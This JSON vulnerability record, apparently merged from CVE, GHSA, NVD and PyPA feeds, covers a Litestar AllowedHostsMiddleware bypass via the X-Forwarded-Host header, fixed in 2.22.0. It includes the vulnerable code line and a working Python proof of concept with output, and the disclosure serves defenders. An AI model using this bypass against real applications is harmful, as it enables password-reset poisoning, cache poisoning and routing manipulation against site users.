{"id":"CVE-2026-48061","aliases":["CVE-2026-48061","GHSA-3qmc-cj7q-62hv","PYSEC-2026-2603"],"related":[],"kind":"vulnerability","state":"published","title":"Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header","summary":"Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. In versions prior to 2.22.0, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. The AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, this enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections. This issue has been fixed in version 2.22.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. In versions prior to 2.22.0, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. The AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, this enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections. This issue has been fixed in version 2.22.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\n`AllowedHostsMiddleware` trusts the `X-Forwarded-Host` header as a fallback when the `Host` header is absent. Since `X-Forwarded-Host` is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the `Host` header and supplying an `X-Forwarded-Host` header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.\n\n### Details\n\nIn `AllowedHostsMiddleware.__call__`, the host value used for validation is resolved as follows:\n\nhttps://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68\n\n```python\nheaders = MutableScopeHeaders(scope=scope)\nif host := headers.get(\"host\", headers.get(\"x-forwarded-host\", \"\")).split(\":\")[0]:\n    if self.allowed_hosts_regex.fullmatch(host):\n        await self.app(scope, receive, send)\n        return\n```\n\nWhen `Host` is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to `X-Forwarded-Host` without any verification that the request actually passed through a trusted reverse proxy.\n\nAn attacker can send a request with no `Host` header and set `X-Forwarded-Host` to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.\n\nThis is particularly dangerous when applications use the resolved host value for:\n- Generating password reset links (`Host` header injection → link points to attacker domain)\n- Cache key generation (cache poisoning)\n- Routing or backend selection decisions\n\n### PoC\n\n```python\n\"\"\"\nPoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0\n\nAffected:\n  litestar/middleware/allowed_hosts.py:68\n  -> headers.get(\"host\", headers.get(\"x-forwarded-host\", \"\")).split(\":\")[0]\n\"\"\"\n\nimport asyncio\nfrom litestar import Litestar, get\nfrom litestar.config.allowed_hosts import AllowedHostsConfig\nfrom litestar.testing import TestClient\n\n\n@get(\"/\")\nasync def index() -> dict:\n    return {\"status\": \"ok\"}\n\n\napp = Litestar(\n    route_handlers=[index],\n    allowed_hosts=AllowedHostsConfig(allowed_hosts=[\"trusted.example.com\"]),\n)\n\n\n# --- 1. Baseline: invalid host is blocked ---\n\nwith TestClient(app=app) as c:\n    resp = c.get(\"/\", headers={\"host\": \"evil.com\"})\n    assert resp.status_code == 400\n    print(f\"[*] Host: evil.com -> {resp.status_code} (blocked)\")\n\n\n# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---\n\nasync def test_bypass():\n    scope = {\n        \"type\": \"http\",\n        \"method\": \"GET\",\n        \"path\": \"/\",\n        \"root_path\": \"\",\n        \"scheme\": \"http\",\n        \"query_string\": b\"\",\n        \"headers\": [\n            # No \"host\" header — only x-forwarded-host\n            (b\"x-forwarded-host\", b\"trusted.example.com\"),\n        ],\n        \"server\": (\"testserver\", 80),\n        \"app\": app,\n        \"litestar_app\": app,\n        \"state\": {},\n    }\n\n    captured = {}\n\n    async def receive():\n        return {\"type\": \"http.request\", \"body\": b\"\"}\n\n    async def send(message):\n        if message[\"type\"] == \"http.response.start\":\n            captured[\"status\"] = message[\"status\"]\n\n    await app(scope, receive, send)\n    return captured[\"status\"]\n\nstatus = asyncio.run(test_bypass())\nprint(f\"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)\")\nassert status == 200, f\"Expected 200, got {status}\"\nprint(f\"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host\")\n```\n\n**Output:**\n```\n[*] Host: evil.com -> 400 (blocked)\n[*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed)\n[!] AllowedHosts check passed using client-controlled X-Forwarded-Host\n```\n\n### Impact\n\nThis is a host validation bypass vulnerability. Any application using `AllowedHostsConfig` is affected when deployed without a reverse proxy that strips `X-Forwarded-Host`, or when accepting HTTP/1.0 connections.\n\nAn attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:\n\n- **Password reset poisoning**: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain\n- **Cache poisoning**: cached responses keyed on the host value can be polluted with attacker-controlled content\n- **Routing manipulation**: backend routing decisions based on host value can be influenced","format":"markdown","source":"ghsa"},{"lang":"es","text":"Litestar es un framework de Interfaz de Pasarela de Servidor Asíncrono (ASGI). En versiones anteriores a la 2.22.0, un atacante puede omitir la validación de hosts permitidos al omitir el encabezado Host y proporcionar un encabezado X-Forwarded-Host configurado a un dominio en la lista blanca. El AllowedHostsMiddleware confía en el encabezado X-Forwarded-Host como respaldo cuando el encabezado Host está ausente. Dado que X-Forwarded-Host es un encabezado controlable por el cliente, esto permite ataques de inyección de encabezado de host como envenenamiento de restablecimiento de contraseña, envenenamiento de caché y manipulación de enrutamiento de solicitudes del lado del servidor. Cualquier aplicación que utilice AllowedHostsConfig se ve afectada cuando se despliega sin un proxy inverso que elimine X-Forwarded-Host, o cuando acepta conexiones HTTP/1.0. Este problema ha sido solucionado en la versión 2.22.0.","source":"nvd"}],"published":"2026-06-10T19:12:10.000Z","modified":"2026-10-23T21:10:00.157Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","score":5.9,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","score":5.9,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","score":5.9,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","score":5.9,"rating":"MEDIUM"}],"cwes":["CWE-348","CWE-644","CWE-807"],"affected":[{"ranges":[{"version":"< 2.22.0","status":"affected"}],"vendor":"litestar-org","product":"litestar","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.22.0"}],"ecosystem":"PyPI","package":"litestar","purl":"pkg:pypi/litestar","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.22.0"}],"ecosystem":"PyPI","package":"litestar","purl":"pkg:pypi/litestar","source":"pysec"}],"references":[{"url":"https://github.com/litestar-org/litestar/security/advisories/GHSA-3qmc-cj7q-62hv","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/litestar-org/litestar/commit/6930a20ceb543912cd651b42deae5b9f3637a262","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/litestar-org/litestar","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/litestar","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-3qmc-cj7q-62hv","tags":["advisory"],"sources":["pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48061","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-08-04T13:33:39.144Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-48061","url":"https://www.cve.org/CVERecord?id=CVE-2026-48061","licence":"CVE Terms of Use","modified":"2026-08-04T15:05:11.301Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-3qmc-cj7q-62hv","url":"https://github.com/advisories/GHSA-3qmc-cj7q-62hv","licence":"CC-BY-4.0","modified":"2026-07-13T16:43:35.726Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-48061","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48061","licence":"Public domain","modified":"2026-10-23T21:10:00.157Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2603","url":"https://osv.dev/vulnerability/PYSEC-2026-2603","licence":"CC-BY-4.0","modified":"2026-07-13T16:32:04.490Z"}],"updatedAt":"2026-11-25T22:59:30.903Z","epss":{"score":0.00342,"percentile":0.2967,"date":"2026-12-01T12:00:22.000Z"}}